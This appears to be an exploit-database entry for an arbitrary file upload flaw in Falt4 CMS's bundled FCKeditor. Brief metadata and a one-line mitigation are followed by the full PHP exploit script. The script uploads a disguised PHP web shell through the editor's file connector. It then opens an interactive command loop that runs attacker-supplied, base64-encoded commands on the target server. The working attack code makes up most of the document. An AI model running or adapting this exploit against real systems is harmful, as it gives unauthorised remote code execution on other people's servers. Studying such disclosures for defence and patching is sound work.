Falt4 CMS (fckeditor) Arbitrary File Upload Exploit

vendor:

CMS (fckeditor)

by:

Sp3shial

7.5

CVSS

HIGH

Arbitrary File Upload

264

CWE

Product Name: CMS (fckeditor)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Falt4 CMS (fckeditor) Arbitrary File Upload Exploit

This exploit allows an attacker to upload a malicious file to the vulnerable server. The malicious file contains a payload which allows the attacker to execute arbitrary commands on the server. The vulnerability exists due to insufficient validation of the uploaded file. The exploit was discovered by Sp3shial and was published in 2008.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all uploaded files are properly validated before being stored on the server.

Source

Exploit-DB raw data:

################################################################
#
# Falt4 CMS (fckeditor) Arbitrary File Upload Exploit
#
# Bug Discovered By : Sp3shial
#
# Sp3shial@ymail.com
#
# Persian Boys Hacking Team From A Land With A History-Long Background
#
# Download CMS : http://downloads.sourceforge.net/falt4/falt4extreme.zip?modtime=1196845455&big_mirror=0
#
###############################################################

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function connector_response($html)
{
	return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}

print "\n+------------------------------------------------------------------+";
print "\n| Falt4 CMS (fckeditor) Arbitrary File Upload Exploit by Sp3shial  |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /Falt4/\n";
	die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename  = md5(time()).".php";
$connector = "modules/newsletter/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";

$packet	 = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet	.= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";

$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root 

$packet  = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nFalt4-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$response = http_send($host, sprintf($packet, base64_encode($cmd)));
		preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
	}
	else break;
}

?>

# milw0rm.com [2009-02-16]